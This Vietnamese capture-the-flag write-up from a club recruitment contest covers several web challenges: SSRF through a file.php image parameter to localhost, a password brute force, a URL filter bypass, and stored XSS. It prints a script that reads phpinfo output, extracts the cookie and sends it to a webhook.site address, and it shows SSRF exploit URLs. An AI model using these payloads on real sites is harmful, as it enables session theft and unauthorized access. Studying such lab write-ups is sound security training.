---
# System prepended metadata

title: Write up KCSC tuyển thành viên

---

* 1. Santa's Shop Revenge 
URL tôi nhận được khi bắt đầu challenge: http://67.223.119.69:5017
Khi truy cập vào url của challenge ta thấy có giao diện đăng nhập và tạo tài khoản thông thường.
![image](https://hackmd.io/_uploads/rkpxiW3z-x.png)
Thử tạo 1 tài khoản thông thường với username là **ha_sai_dep_chieu**. Sau khi đăng nhập ta quan sát tổng quan và đánh giá sơ bộ giao diện website ta dễ dàng nhận thấy để mua được hộp quà cần liên hệ admin hoặc nap thêm tiền.
![image](https://hackmd.io/_uploads/BJgZ6Z2fWg.png)
Khi nhấp vào "Nạp tiền" ta được chuyển đến /payment.php:
![image](https://hackmd.io/_uploads/BJbOC-2GZl.png)
Cẩn thận hơn chúng ta sẽ check nốt source:
![image](https://hackmd.io/_uploads/ryrb1Ghfbl.png)
Rõ ràng việc nạp thêm thêm tiền là không thực tế ta sẽ chuyển sang 'Admin Dashboard': 
![image](https://hackmd.io/_uploads/S1T2lGnzbx.png)
Chúng có lẽ phải quay lại trang chủ để xem xét lại từ đầu. Vào xem source ở trang chủ ta để ý tới 1 đường dẫn đặc biệt có dạng /file.php?image=........:
![image](https://hackmd.io/_uploads/HJ-pWG2zZg.png)
Sau khi truy cập ta thử sửa url để trỏ tới file bất kỳ ở đâu ta thử 'index.php':
![image](https://hackmd.io/_uploads/HJouEMnMZx.png)
Có hi vọng đọc được file php thông qua file.php. Ta thử nhập 1 file không hợp lệ để xem server báo lỗi có tiết lộ điều gì không:
![image](https://hackmd.io/_uploads/Hy6zrz2GWl.png)
Mọi chuyện đã rõ ràng, server sử dụng hàm file_get_contents(). Nếu cấu hình sai ta có thể dễ dàng bypass cơ chế chặn đọc file output chứa '<?php' và truy cập vào localhost để kích hoạt admin.php. Sau khi kich hoạt file admin.php thông qua url
http://67.223.119.69:5017/file.php?image=http://localhost/admin.php
![image](https://hackmd.io/_uploads/BJy2wGnMZg.png)
Chúng ta chỉ cần tìm được secret nữa là hết bài. Giả định rằng secret nằm trong 1 file tên secret.txt hoặc các file tương tự như key.txt, flag.txt .v.v..v. Ta bắt đầu thử đọc file secret.txt ở thưc mục gốc '/' qua  http://67.223.119.69:5017/file.php?image=/secret.txt
![image](https://hackmd.io/_uploads/r1Bo_GnMZx.png)
Bây giờ chúng ta kích hoạt lại file admin.php:http://67.223.119.69:5017/file.php?image=http://localhost/admin.php?username=ha_sai_dep_chieu%26coin=9999999%26secret=ChiCon1BuocNuaThoi~_~ (ở đây chúng ta phải encode ký tự '&' để tránh http hiểu nhầm các tham số coin, secret là của file.php)
![image](https://hackmd.io/_uploads/HynosfhMZx.png)
Giờ chúng ta chỉ cần quay lại và mua 'flag':
![image](https://hackmd.io/_uploads/SyAtXm2M-l.png)
* 2.Santa's Shop 
URL tôi nhận được khi bắt đầu challenge:
http://67.223.119.69:5027
Nhìn chung ở challenge này tương tự với Santa's Shop. Nhưng khi kiểm tra kỹ source ta có thể thấy flag ở ngay soucre:
![image](https://hackmd.io/_uploads/Hk-IDE2G-e.png)
3.Simple Web
URL của challenge này là: http://67.223.119.69:5021
Khi vào giao diện website là 1 form đăng nhập thông thường:
![image](https://hackmd.io/_uploads/Hkm99EhfWg.png)
Ta cũng tạo 1 user thông thường để vào xem trang chủ nó có gì:
![image](https://hackmd.io/_uploads/S1UGi42Gbx.png)
Sau khi xem xét sơ qua giao diện web ta nhận thấy trang chủ không có chắc năng gì. Tiếp đến mở source kiểm tra cũng không có thông tin gì khác.
Sau khi dùng dirsearch quét thư mục ẩn 
là /admin và /flag.Ta truy cập thử vào /admin thì được điều hướng quay lại trang chủ, truy cập http://67.223.119.69:5021/flag thì nhận được ![image](https://hackmd.io/_uploads/B1Fy6NnM-l.png)
Ta thử sửa request thểm vào X-Forwarded-For: 127.0.0.1 nhưng không có tác dụng. 
Tiếp đó ta thử tạo lại 1 tài khoản khác là admin nhưng server thông báo ' Hey !!! You are not allowed to register as "admin", what do you want access to my secret?" ' điều đó khẳng định tồn tại tài khoản với user admin và chúng ta cần tìm cách đăng nhập, sau đó ta thử các cách như tấn công sql injection để đăng nhập được vào tài khoản admin nhưng cũng không được.
Sau khi xem xét kỹ chúng ta còn 1 lựa chọn cuối cùng là brute force để tìm mật khẩu admin. Ta sử dụng set payload trong burpsite và theo dõi xem có reponse nào bất thường.
![image](https://hackmd.io/_uploads/SklrKSnMZg.png)
Nhận đc password là 'a'.
Sau khi vào, nhận thấy web có chức năng gửi request tới các url, thử truy cập vào http://localhost/flag để đọc flag nhưng đã bị chặn. Ta thử thêm http://1.1.1.1 và http://1.1.1.1/flag để hiểu thêm cơ chế lọc của website:
![image](https://hackmd.io/_uploads/HyRlLx6Gbl.png)
![image](https://hackmd.io/_uploads/rkzGUl6MWg.png)
Từ đây ta có thể đoán cơ chế lọc của nó sẽ loại bỏ các url chứ 'flag' ở trong. Nhưng nếu code chỉ so khớp chuỗi cứng thay vì normalize URL thì ta có thể thử 'http://localhost/flag?' (việc thêm ký tự '?' không gây lỗi cho http và nếu code so sánh không chặt chẽ có thể bypass được cơ chế lọc):
![image](https://hackmd.io/_uploads/H1jrweaGWl.png)
* 4. Hori's Blog
URL ta nhận được: http://67.223.119.69:5015
Ta tạo 1 tài khoản bình thường sau đó vào phần 'post' thấy có chỗ upload file và ghi mô tả:
![image](https://hackmd.io/_uploads/BkHz_xTzbg.png)
Ta thử upload các file shell.php, file shell.jpg sau đó dùng burpsite sử request thành shell.jpg.php hoặc thêm các ký tự như "FF D8 FF" vào phần đầu body nhưng đều không upload được:
![image](https://hackmd.io/_uploads/SksqOxpGZg.png)
Thấy cơ chế lọc file khá cứng, ta chuyển sang tấn công thử XSS ở phần nhập content:
![image](https://hackmd.io/_uploads/Hyfyqe6zZg.png)
![image](https://hackmd.io/_uploads/rySlcgTGZe.png)
XSS thành công, ta cần tìm 1 chỗ có thể tận dụng XSS để đọc các trường nhạy cảm như cookie. Và ta tìm thấy /bot.php:
![image](https://hackmd.io/_uploads/SkIDoe6z-l.png)
Ta thử tạo 1 script gửi cookie tới webhook và chạy nó thông qua bot.php:
![image](https://hackmd.io/_uploads/ByaKx-azbl.png)
Request đã tới nhưng không có cookie, có thể server đã bật HttpOnly. Ta chuyển sang /phpinfo.php kiểm tra thì thấy:
![image](https://hackmd.io/_uploads/SyGCmb6fWe.png)
Ta để con bot lấy cookie sau đó gửi sang webhook. Sử dụng script: 
//<script>fetch('/phpinfo.php').then(k => k.text()).then(
  k => {
    const a = k.indexOf("HTTP_COOKIE");
    const b = btoa(k.slice(a, a + 333)); 
    fetch(`https://webhook.site/2a94073d-3ee3-4bcd-b720-46ba1cef3d63/?d=${b}`);
  }
);
</script>//
Encode base64 phần nội dung trong thẻ <script> trước để tránh WAF chặn.
Request nhận được:
![image](https://hackmd.io/_uploads/H1g0_t6fZe.png)
Decode phần query để tìm flag:
![image](https://hackmd.io/_uploads/SJHlYYaf-x.png)
* 5. silver

